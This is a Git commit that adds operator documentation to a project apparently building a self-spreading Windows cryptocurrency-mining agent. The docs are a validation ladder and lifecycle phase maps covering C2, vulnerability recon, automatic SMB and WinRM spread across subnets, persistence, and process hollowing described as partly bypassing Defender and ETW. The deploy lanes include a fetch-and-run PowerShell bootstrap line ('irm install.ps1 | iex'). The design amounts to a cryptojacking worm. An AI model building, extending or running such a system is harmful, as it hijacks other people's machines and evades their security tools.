drjones/AetherForge
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add operator validation ladder and Windows mining phase docs.

Browse Source 
Document L0-L8 post-landing gates, feature slices, and honest gaps; link from README and tests README.
This commit is contained in:
AetherForge
2026-06-07 13:33:28 -07:00
parent 8c343ac984
commit 560dc55121
4 changed files with 353 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

4
README.md
View File

@@ -546,6 +546,8 @@ crypto miner/
├── android/ ← APK fleet node (see android/README.md) ├── android/ ← APK fleet node (see android/README.md)
├── tests/README.md ← test phases, LOTL glossary, E2E env vars ├── tests/README.md ← test phases, LOTL glossary, E2E env vars
├── docs/E2E_VALIDATION.md ← secure payload validation playbook ├── docs/E2E_VALIDATION.md ← secure payload validation playbook
├── docs/VALIDATION_LADDER.md ← L0–L8 operator validation ladder (gates + honest gaps)
├── docs/WINDOWS_MINING_PHASES.md ← Windows agent lifecycle phase maps (mermaid)
├── PROBLEMS.md ← known issues (severity-ranked) ├── PROBLEMS.md ← known issues (severity-ranked)
└── README.md ← you are here └── README.md ← you are here
``` ```
@@ -672,6 +674,8 @@ Full Windows payload tests (spread, screenshot, GPU, persistence) need a **dispo
Playbook (tier matrix, Crucible checklist, log paths, snapshot teardown): [`docs/E2E_VALIDATION.md`](docs/E2E_VALIDATION.md). Playbook (tier matrix, Crucible checklist, log paths, snapshot teardown): [`docs/E2E_VALIDATION.md`](docs/E2E_VALIDATION.md).
Operator ladder (post-landing gates L0–L8): [docs/VALIDATION_LADDER.md](docs/VALIDATION_LADDER.md). Windows mining phase maps: [docs/WINDOWS_MINING_PHASES.md](docs/WINDOWS_MINING_PHASES.md).
### Dashboard dev server ### Dashboard dev server
```bat ```bat

105
docs/VALIDATION_LADDER.md Normal file
View File

@@ -0,0 +1,105 @@
# Validation ladder (L0-L8)
Operator guide for **what to run after code lands** - from zero-dependency mining smoke through live fleet work. Automated gates live in [`tests/README.md`](../tests/README.md); secure payload steps in [`docs/E2E_VALIDATION.md`](E2E_VALIDATION.md); Windows lifecycle phases in [`docs/WINDOWS_MINING_PHASES.md`](WINDOWS_MINING_PHASES.md).
**Mindset:** CI proves contracts and mocks; it does not prove Defender, domain GPO, or your AWS IAM. Climb the ladder until the change you shipped is covered at the lowest honest rung, then stop. [`PROBLEMS.md`](../PROBLEMS.md) lists what automation will never close.
---
## Ladder overview
```mermaid
flowchart TB
L0["L0 - Mining only<br/>mine-validate, no C2"]
L1["L1 - Fast unit slice<br/>test-suite -SkipE2E -SkipBuild"]
L2["L2 - Full unit gate<br/>test-suite -SkipE2E"]
L3["L3 - Dashboard E2E<br/>test-suite phases 1-8"]
L4["L4 - Feature slices<br/>-Recon -S3Swarm -P2 ..."]
L5["L5 - Docker mining proof<br/>ci-docker-mining"]
L6["L6 - Isolated forge + VM<br/>e2e-validate Tier 3"]
L7["L7 - Live spread / recon<br/>owned lab hosts"]
L8["L8 - Cloud + IAM<br/>operator AWS account"]
L0 --> L1 --> L2 --> L3
L2 --> L4
L2 --> L5
L5 --> L6
L6 --> L7
L7 --> L8
```
| Rung | When | Command / action | Proves | Does not prove |
|------|------|------------------|--------|----------------|
| **L0** | RandomX / pool worker change | `cd agent; go run ./cmd/mine-validate -seconds 20 -threads 2` | CPU mining engine, pool login | C2, forge, spread, persistence |
| **L1** | Quick post-edit smoke | `.\scripts\test-suite.ps1 -SkipE2E -SkipBuild` | Go server+agent + Vitest (phases 1-4) | Production builds, Playwright |
| **L2** | Default post-landing gate | `.\scripts\test-suite.ps1 -SkipE2E` | Phases 1-7b, compile checks | Live browser E2E on `:18989` |
| **L3** | UI / WS / routing change | `.\scripts\test-suite.ps1` | Full 8 phases incl. Playwright | Real Windows payload, live pool fleet |
| **L4** | Single feature after parallel agents | `.\scripts\test-suite.ps1 -<Feature>` (see table below) | Targeted Go + Vitest (+ E2E when not `-SkipE2E`) | Cross-feature integration on real hosts |
| **L5** | Mining + C2 regression in isolation | `.\scripts\ci-docker-mining.ps1` | Server healthy, Linux agent online, H/s > 0 | Windows-only tiers, GPU, spread |
| **L6** | Forge / persistence / Crucible on Windows | `.\scripts\e2e-validate.ps1` + disposable Hyper-V VM | Full Windows agent on owned lab VM | Production wallet, internet-wide spread |
| **L7** | Spread lanes, Deploy Recon, P2 | Manual lab: WinRM/GPO/BITS, SSRF probe paste, port scan to owned targets | Behavior on machines you own | CI coverage of third-party networks |
| **L8** | S3 swarm, SSM, Fargate, fan-out | Operator AWS creds + IAM in your account | Real PutObject, SendCommand, ECS | Anything in shared repo CI |
Counts (refresh when drift): Go server **1007**, agent **680**, Vitest **867**, Playwright **32** - see [`tests/README.md`](../tests/README.md).
---
## Feature gates (L4 slices)
Use one slice when a parallel agent landing touched only that surface. Each exits after its phase unless noted.
| Feature | Command |
|---------|---------|
| **Full gate** | `.\scripts\test-suite.ps1` |
| **Quick verify** | `.\scripts\test-suite.ps1 -SkipE2E` |
| **Fast slice** | `.\scripts\test-suite.ps1 -SkipE2E -SkipBuild` |
| **P2 mining/spread** | `.\scripts\test-suite.ps1 -P2` |
| **Fleet recon** | `.\scripts\test-suite.ps1 -ReconOnly` |
| **Deploy Recon** | `.\scripts\test-suite.ps1 -Recon` |
| **Subnet recon** | `.\scripts\test-suite.ps1 -SubnetRecon` |
| **S3Swarm** | `.\scripts\test-suite.ps1 -S3Swarm` |
| **CloudMap** | `.\scripts\test-suite.ps1 -CloudMap` |
| **Fargate** | `.\scripts\test-suite.ps1 -Fargate` |
| **PolicyFanout** | `.\scripts\test-suite.ps1 -PolicyFanout` |
| **SSM** | `.\scripts\test-suite.ps1 -SSM` |
| **Seer** | `.\scripts\test-suite.ps1 -Seer` |
| **Oath** | `.\scripts\test-suite.ps1 -Oath` |
| **Contingency** | `.\scripts\test-suite.ps1 -Contingency` |
| **CloudVenue** | `.\scripts\test-suite.ps1 -CloudVenue` |
With server already up: `.\scripts\smoke-test.ps1 -BaseUrl http://127.0.0.1:8989` (REST matrix B-01-B-10).
---
## Honest gaps (from PROBLEMS.md)
Automation closes regressions; these stay **operator or architecture** scope:
| Area | Honest limit |
|------|----------------|
| **By design** | `bof_execute` disabled; process hollowing ~50% ETW/Defender failure; non-Windows cloudflared stub; mesh without `-tags p2p`; Linux/macOS GPU RVN uses Windows miner binaries only. |
| **Scale** | Subnet derived at query time; scan caps (128 hosts / spread sem 16); SQLite single-writer; WS `init` full fleet blob; 3D map capped at 200 nodes. |
| **Container mining** | AV still sees Docker; GPU-in-container on Windows is operator-dependent; worker image build not auto-forged. |
| **Deferred architecture** | `tunnel_stream`; Path Tracer RAM sessions; NAT without STUN; monolithic WS context; no CI HTTP forge without `LIVE_FORGE=1`. |
| **AWS cloud** | S3/CloudFront/SSM/Fargate/EventBridge need **your** IAM; CI uses mocks. |
| **Manual / live** | Live S3 signed magnets; SSM SendCommand; Fargate RunTask; fan-out Lambda; Cloud Map `route_via` server wiring; live P2 spread; Deploy Recon port scan/crawl from **dashboard host**; SSRF probe is manual paste. |
Full tables: [`PROBLEMS.md`](../PROBLEMS.md). Test gap pointers: [`tests/README.md`](../tests/README.md) (P2 spread lanes, gaps section).
---
## Operator checklist after landing
1. **L2** `.\scripts\test-suite.ps1 -SkipE2E` from repo root.
2. If the change touched one feature row above, add **L4** slice.
3. If forge/agent Windows behavior changed, plan **L6** VM snapshot test (wallet + `data-e2e\` only).
4. If spread/recon/AWS changed, read PROBLEMS **Manual / live** before claiming production-ready.
5. Update test counts in `tests/README.md` / `PROBLEMS.md` only when `go test -list` / Vitest / Playwright totals drift.
---
## Related docs
- [`docs/E2E_VALIDATION.md`](E2E_VALIDATION.md) - Tier 0-3 secure payload matrix, VM topology, Crucible checklist
- [`docs/WINDOWS_MINING_PHASES.md`](WINDOWS_MINING_PHASES.md) - Windows boot -> recon -> deploy -> mining -> spread phase maps
- [`tests/README.md`](../tests/README.md) - phase map, LOTL glossary, regression tables

241
docs/WINDOWS_MINING_PHASES.md Normal file
View File

@@ -0,0 +1,241 @@
# Windows mining phases
Operator reference for the **Windows agent lifecycle**: what runs automatically, in what order, and what requires deck action. Source of truth: `agent/client/`, `agent/miner/`, `agent/deploy/`, `server/internal/miningsurgery/`.
Related: [LOTL triple onion (README)](../README.md#lotl-triple-onion-architecture) · [Spread playbook](/docs/SPREAD_TECHNIQUES.html) · [LOTL glossary](../tests/README.md#lotl-vector-glossary) · [PROBLEMS.md](../PROBLEMS.md)
## Legend
| Symbol | Meaning |
|--------|---------|
| **AUTO** | Agent runs without operator action (may still need forge flags or Calibrate policy) |
| **OP** | Operator triggers from Forge, Crucible, Calibrate, or Emberwake export |
| **GATE** | Automatic check that can defer or skip a phase |
---
## Main flowchart — phases on Windows (in order)
```mermaid
flowchart TB
subgraph boot["0 · Agent boot — AUTO"]
start[Run: pool + miningChain runner]
role{Seeder role?}
defer{WantsDeferMining?}
waitDiag[startMiningWhenReady<br/>C2 + diagnostics ≤120s]
onionStart[miningChain.Start]
start --> role
role -->|yes| seeder[StartSeederStaging only<br/>no mining]
role -->|no| defer
defer -->|spread/GPO/Intune install| waitDiag
defer -->|normal forge| onionStart
waitDiag --> onionStart
end
subgraph recon["1 · Recon phase — AUTO"]
kev[kev_scan]
vr[vuln_recon]
sp[service_probe]
lp[listen_ports]
kev --> vr --> sp --> lp
end
subgraph gates["2 · Policy gates — GATE"]
pf{patch_first +<br/>critical CVE?}
hr{skip_mining_on_high_risk?}
iso{mine_isolated_tier?}
pf -->|yes| skipBoth[Skip deploy + mining]
pf -->|no| hr
hr -->|risk ≥ threshold| skipMine[Skip mining only]
hr -->|ok| deployGo[Continue deploy]
iso -.->|prefer container/WSL| miningIso[Isolated tier order]
end
subgraph deploy["3 · Deploy lanes — AUTO, first OK wins"]
dj[discover_and_join]
d1[docker]
d2[wsl]
d3[powershell]
d4[dotnet]
d5[bits_curl]
d6[do_peer / wsus_cache_peer]
d7[dns_txt / webrtc_mesh]
d8[smb]
d9[winrm]
dj --> d1 --> d2 --> d3 --> d4 --> d5 --> d6 --> d7 --> d8 --> d9
end
subgraph mining["4 · Mining runtime — AUTO"]
probes[webview2_probe]
tierChain[LOTL tier TryChain<br/>docker_load → container → wsl →<br/>ps_inmemory → dotnet → cpu_inprocess]
fallback[Fallback chain TryChain<br/>+ GPU parallel + stratum_direct]
winTiers[Windows tiers<br/>wmi · scheduled_task · gpu_compute]
monitor[Chain monitor<br/>30s cooldown re-pass]
probes --> tierChain --> fallback --> winTiers --> monitor
end
subgraph postAuth["5 · Post-auth spread — AUTO after WS auth"]
authOK[Fleet secret accepted]
ebb{Earn-before-burn gate<br/>stable H/s + chain OK?}
smb[SMB/SCM autospread /24]
wrm[WinRM encoded bootstrap]
lotlBg[LOTL onion background chain<br/>2 min stagger]
authOK --> ebb
ebb -->|no| deferSpread[Defer SMB/WinRM]
ebb -->|yes| smb
smb --> wrm
authOK --> lotlBg
end
subgraph recover["6 · Recovery layers"]
surgery["Mining self-surgery — AUTO<br/>when Fleet AI Control on"]
contingency["Contingency tree — AUTO<br/>when contingency policy on"]
opSpread["spread_now / stage_fetch / templates — OP"]
surgery --> contingency
end
onionStart --> recon
recon --> pf
deployGo --> deploy
skipMine --> deploy
deploy -->|all fail or one OK| mining
skipBoth --> endNode([Idle / telemetry only])
mining --> postAuth
monitor -->|interrupt / low H/s| surgery
monitor -->|chain exhausted| contingency
deferSpread -.->|operator spread_now| opSpread
```
### Phase summary
| # | Phase | Trigger | Stops when |
|---|-------|---------|------------|
| 0 | Boot + diagnostics | AUTO on process start | Seeder role, `mining_disabled`, or diagnostics timeout |
| 1 | Recon | AUTO inside triple onion | All recon tiers attempted |
| 2 | Policy gates | AUTO from recon + Calibrate `triple_onion_policy` | `patch_first` or high-risk skip |
| 3 | Deploy lanes | AUTO, sequential | First lane succeeds, or all fail → still enters mining |
| 4 | Mining runtime | AUTO after deploy (or gate bypass) | Active tier + monitor loop |
| 5 | Post-auth spread | AUTO after first WS auth | Earn-before-burn gate, subnet immune pause, or sweep cap |
| 6 | Recovery | AUTO (AI Control / contingency) or OP (Crucible) | Plan applied or hospice |
---
## Spread / deploy lanes vs mining runtime
Deploy lanes **stage or lateral-install** workers; mining runtime **hashes on the current host**. They share tier names but serve different goals.
```mermaid
flowchart LR
subgraph triple["Triple onion deploy — AUTO at connect"]
direction TB
T1[discover_and_join]
T2[docker · wsl · powershell · dotnet]
T3[bits_curl · peer caches · dns_txt · webrtc]
T4[smb · winrm]
T1 --> T2 --> T3 --> T4
end
subgraph parallel["Parallel spread — AUTO post-auth"]
direction TB
A1[Autospread timer<br/>10 min then /4h]
A2[SMB UNC + sc.exe /24]
A3[WinRM PS1 bootstrap<br/>when winrm_spread]
A4[LOTL onion goroutine<br/>forge tier order]
A1 --> A2 --> A3
A4
end
subgraph runtime["Mining runtime — AUTO same host"]
direction TB
M1[Environment probes + AV skip]
M2[Primary: docker_load → container → wsl → inprocess]
M3[Parallel GPU subprocess / gpu_compute]
M4[Stratum overlay if C2 jobless 30s]
M1 --> M2 --> M3 --> M4
end
subgraph op["Operator lanes — OP"]
direction TB
O1[Crucible spread_now]
O2[WinRM / SMB / GPO templates]
O3[stage_fetch manifest]
O4[Court spread_retry_lane]
end
triple -->|success = join_lane only| runtime
parallel -->|earn-before-burn GATE| parallel
op --> parallel
runtime -->|hashrate_gate telemetry| parallel
```
### Lane cheat sheet (Windows-focused)
| Lane | Deploy / spread | Mining runtime equivalent |
|------|-----------------|---------------------------|
| `powershell` | `irm install.ps1 \| iex` bootstrap | `ps_inmemory` tier |
| `dotnet` | `dotnet tool run` staging | `dotnet` tier |
| `bits_curl` | BITS/curl + certutil decode | Staging only (Crucible `stage_fetch`) |
| `smb` | UNC copy + remote `sc.exe` | Autospread `/24` sweep |
| `winrm` | PS remoting 5985/5986 | Autospread + spread templates |
| `docker` / `wsl` | Container/WSL join | `docker_load` / `container` / `wsl` tiers |
---
## Earn-before-burn
**AUTO gate** — Calibrate `server.hashrate_gate_spread_min` + `server.hashrate_gate_hps` push `spread_policy` on auth.
1. Agent mines until hashrate stays above threshold for N minutes.
2. Mining chain must not be exhausted.
3. Only then: SMB/WinRM autospread sweeps and `RunSpreadOnce` proceed.
Triple-onion deploy lanes and LOTL background onion are **not** blocked by this gate (spread-only vs burn-first policy).
---
## Mining self-surgery
**AUTO when Fleet AI Control enabled** — server observes `stats_batch`, queues `mining_self_surgery` on next auth/policy push.
| Trigger | Actions |
|---------|---------|
| `mining_interrupt` | Container restart, fallback reorder, GPU swap, RandomX restart |
| `low_hashrate` | Idle threshold tune, method-specific restart |
Contingency branch `self_surgery` on-agent applies skip/force method params from server court/AI.
---
## Contingency miner tree
**AUTO when `contingency_policy.enabled`** — default branch order:
`inprocess` → `container` → `gpu_subprocess` → `idle_tune` → `self_surgery`
Server `ContingencyOrchestrator` (Fleet AI Control) observes `onion_miner_log` hops and may push `contingency_branch_params` (persona, reorder, skip_methods). Policy snapshot hospice list can retire strains.
---
## Policy inputs (Calibrate → agent)
| Policy JSON | Affects |
|-------------|---------|
| `triple_onion_policy` | Recon order, deploy lanes, patch_first, high-risk skip |
| `mining_tier_policy` | Mining tier order / skip / force |
| `spread_policy` | Autospread, WinRM, hashrate gate, subnet recon |
| `contingency_policy` | Contingency tree + personas |
| Policy snapshot URL | Hospice strains, vaccination lane hints |
---
## Honest limits (Windows)
From [`PROBLEMS.md`](../PROBLEMS.md) — not bugs; operator scope:
- **AV** — Containers are not invisible; Defender still sees `docker.exe`, image pulls, and filesystem scans. In-process RandomX avoids a standalone CPU miner exe but is not undetectable.
- **GPU in container** — Windows Docker Desktop GPU passthrough is operator-dependent; host subprocess GPU remains the fallback.
- **Spread lanes** — Full WinRM/GPO/BITS paths are Windows-focused; live P2 spread (real WinRM/GPO on remote hosts) is **manual / live operator** work, not fully automated in CI.
- **Process hollowing** — Relocation done; Defender/ETW bypass ~50% failure rate (`hollow_windows.go`).
- **Contingency LLM** — Live court LLM on every exhaust tick is not automated; CI uses deterministic persona branches.
- **Policy snapshot / AWS lanes** — S3, SSM, Fargate, EventBridge fan-out require operator IAM and deployment in your account.
- **Subnet scale** — Per-agent scan capped at 128 hosts; spread concurrency sem=16; fleet discovery is incremental not full /16.

3
tests/README.md
View File

@@ -4,6 +4,9 @@
## Master validation (operator commands) ## Master validation (operator commands)
**Beyond unit tests:** the [validation ladder (L0–L8)](../docs/VALIDATION_LADDER.md) maps each rung to est-suite.ps1 slices, Docker/VM payload steps, and honest gaps from [PROBLEMS.md](../PROBLEMS.md). Use it after parallel agent landings when you need the lowest honest gate, not another full regression table.
PROBLEMS.md `Test gaps / noise` defers here — use the tables below for P1, fleet evolution, and P2 coverage. PROBLEMS.md `Test gaps / noise` defers here — use the tables below for P1, fleet evolution, and P2 coverage.